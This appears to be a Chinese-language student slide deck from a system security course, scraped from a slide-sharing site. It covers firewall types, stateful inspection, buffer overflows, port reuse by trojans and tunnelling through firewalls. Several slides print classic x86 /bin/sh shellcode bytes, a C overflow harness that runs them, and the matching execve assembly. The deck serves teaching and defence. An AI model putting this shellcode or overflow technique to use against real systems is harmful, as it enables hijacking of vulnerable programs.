250 likes | 399 Views
網路攻 擊手法 & 防火牆. 課程:系統安全 資訊三乙 許庭銓、梁詠鈞. 前言. 由於 Internet 的迅速發展,帶給人們生活非常多的好處,但是伴隨而來的網路安全問題, 使用防火牆是現在大部分採取的方式,但是防火牆是否真的能夠對於不同的攻擊方式能夠有適當的防禦措施. 防火牆基本分類. 封包過濾防火牆 ( 傳輸層 ) 檢測狀態防火牆 應用程式代理防火牆 NAT. 狀態監測常見方式. 一個防火牆接收到一個初始化 TCP 連接的 SYN 封包,將被規則庫檢查 一個 RST 數據封包發送到遠端的電腦。如果被接受,那麼本次會話被記錄到狀態監測表裡
E N D
網路攻擊手法&防火牆 課程:系統安全 資訊三乙 許庭銓、梁詠鈞
前言 • 由於Internet的迅速發展,帶給人們生活非常多的好處,但是伴隨而來的網路安全問題, • 使用防火牆是現在大部分採取的方式,但是防火牆是否真的能夠對於不同的攻擊方式能夠有適當的防禦措施
防火牆基本分類 • 封包過濾防火牆(傳輸層) • 檢測狀態防火牆 • 應用程式代理防火牆 • NAT
狀態監測常見方式 • 一個防火牆接收到一個初始化TCP連接的SYN封包,將被規則庫檢查 • 一個RST數據封包發送到遠端的電腦。如果被接受,那麼本次會話被記錄到狀態監測表裡 • 之後的封包(沒有帶有一個SYN標誌)就和該狀態監測表的內容進行比較,只有在SYN封包時才和規則庫比較
TCP連接監控的工作模式 • 防火牆接收到用戶端SYN連結請求時,在Local建立對該連結的監控表 • 防火牆將其請求轉發至服務端 • 服務端應該連接請求返回SYN/ACK,並更新與該連接相關聯的監控表 • 防火牆將該SYN/ACK轉發至用戶端 • 防火牆發送ACK至服務端,同時服務端中TCP Backlog該連接的監控表項目被移出 • 判斷連接請求是否合法 • 開始TCP傳輸過程
何謂溢出攻擊 • 攻擊者在網上搜尋可以進行溢出攻擊的漏洞 • 向程式的緩衝區寫入超出其長度的內容,造成緩衝區的溢出 • 讓受攻擊的程式能去執行在Buffer中被改過的惡意指令(ShellCode) • 進一步取得其他程式或系統的控制權 • 屬於應用層的攻擊,防火牆較難防範
攻擊步驟說明 • 執行ShellCode攻擊,使受害者的程序溢出 • 在受害者電腦執行類似telnet 服務器的遠程Shell程式 • 利用遠程Shell跟攻擊者電腦取得連接 • 進一步操作受害者電腦,植入木馬…等等 • 惡意攻擊程式,例:Exploit
何謂shellcode • Shellcode 是一種由組合語言(assembly language)撰寫成,經由組譯器(assembler). 翻譯成機械語言(machine code),通常來說在UNIX 下是執行一個/bin/sh 的. shell
ShellCode範例 (C++程式碼) char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; int main(int argc, char **argv){ char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; }
Linux中開啟Shell (C++程式碼) #include <stddef.h> main() { char *name[2]; name[0]="/bin/sh"; name[1]=NULL; execve(name[0],name,NULL); }
(組合語言碼) leal string,string_addrmovl $0x0,null_addrmovl $0xb,%eaxmovl string_addr,%ebxleal string_addr,%ecxleal null_string,%edxint $0x80stringdb"/bin/sh",0string_addrdd0null_addrdd0
(ShellCode) \xeb\x18\x5e\x89\x76\x08\x31\xc0 \x88\x46\x07\x89\x46\x0c\xb0\x0b \x89\xf3\x8d\x4e\x08\x8d\x56\x0c \xcd\x80\xe8\xec\xff\xff\xff/bin/sh
防火牆的防範策略 • 單獨開放埠口 • 使用應用層防火牆系統 • 使用IDS功能的防火牆系統
1. 單獨開放埠口 • 只開放需要提供的埠口,對於不需要提供服務的埠口使用過濾策略。 • 例如,需要保護一台存在WebDAV缺陷的WEB伺服器,只要在這台WEB伺服器的前端防火牆中加入一個「只允許其他機器訪問此電腦的TCP80埠口」的封包過濾規則 • 優點:操作簡單,一般的網路管理員就能完成相關的操作 • 缺點:對溢出後使用端口復用進行控制的EXPLOITS就無能為力,且不能阻止D.o.S方面的溢出攻擊
2. 使用應用層防火牆系統 • 該防火牆不一定工作在應用層,而是能對在應用層數據的進行處理。 • 例如:可以使用處理HTTP協議的應用層防火牆對存在WebDAV缺陷的伺服器訂製保護規則,保證伺服器不受此類攻擊的影響。 • 應用層中的HTTP協議防火牆系統不多,它的基本防禦原理與特點是當伺服端接受到一個發送至TCP80埠口的數據包時,首先就會將該包轉移至SecureIIS,SecureIIS就會對該包進行分析並解碼該包的應用層數據,將得到的數據與你本身定制的規則進行數據配對,一旦發現條件相符的數值就會執行規則所指定的相應操作。 • 優點:能有效地切斷一些來自應用層的攻擊(如溢出、SQL注入等) • 缺點:因為需要安裝在伺服器上,所以會佔用一定的系統資源
3. 使用IDS功能的防火牆系統 • 現在的防火牆系統,有不少廠商將技術重點轉移在了多功能防火牆系統的方面上,在防火牆中繼承IDS功能模組已經習以為常,使用這類產品可以達到監控應用層數據的效果。 • 優點:便於管理
利用tunnel(通道)穿過防火牆 • 透過防火牆所允許通過的數據包類型或是端口,與對方通訊 • 當封裝的數據封包到達目的地時,還原數據封包,再交由其他程序進行 • 常見應用:MSN被公司防火牆屏蔽,利用尚未屏蔽Port建立tunnel通道,便可向外傳輸
何謂端口復用 • 因為在winsock的運行中,對於伺服器的綁定是可以多重綁定的,在確定多重綁定使用誰的時候,根據一條原則是誰的指定最明確則將包遞交給誰,而且沒有權限之分。這種多重綁定便稱之為端口復用
運作方式 • 一個木馬綁定到一個已經合法存在的埠口上進行埠口的隱藏,他通過自己特定的封包格式判斷是不是自己的封包,如果是自己處理,如果不是通過127.0.0.1的地址交給真正的伺服器應用進行處理。 • 針對一些的特殊應用,可以發起中間人攻擊,從低權限用戶上獲得訊息或事實欺騙,如在guest權限下攔截 telnet伺服器的23埠口,如果是採用NTLM加密認證,雖然你無法通過嗅探直接獲取密碼,但一旦有admin用戶通過你登陸以後,你的應用就完全可以發起中間人攻擊,扮演這個登陸的用戶通過SOCKET發送高權限的命令,到達入侵的目的。 • 對於構建的WEB伺服器,入侵者只需要獲得低級的權限,就可以完全達到更改網頁目的,很簡單,扮演你的伺服器給予連接請求以其他信息的應答,甚至是基於電子商務上的欺騙,獲取非法的數據 • telnet,ftp,http的服務下,全部都可以利用這種方法進行攻擊,在低權限用戶上實現對SYSTEM應用的截聽
現實案例(2006-09-04 ) • 吳紹均(卅五歲)在九十二年八月撰Freedom(穿越封鎖線)程式,同年九月貼上「紹均雜貨間」個人網站免費供人下載 • 刑事警察局偵九隊3組日前以刑法妨害電腦使用罪名,移送網路封鎖線Freedom程式作者。偵九隊3組副組長高大宇表示,這個網路封鎖線程式作者,在程式進行改版時,蓄意強化其隱藏功能,成為某種具有特定意圖的木馬程式。
某工廠生產線大夜班員工,因為公司限制其不得對外連網某工廠生產線大夜班員工,因為公司限制其不得對外連網 • 該員工為達對外連網目的,便在網路上搜尋到穿越封鎖線程式,並將這個程式植入在可以對外連網的長官電腦中 • 因為該程式具有隱藏功能,長官並不知道其電腦已經被安裝了這個程式;而所有大夜班的員工,則透過該程式,以長官電腦達到對外連網的目的 • 這些大夜班員工的行為,破壞該公司原有的資安控管措施,也造成網路上有心人,都可以偵測到該公司的資安漏洞,進而造成企業可能的損害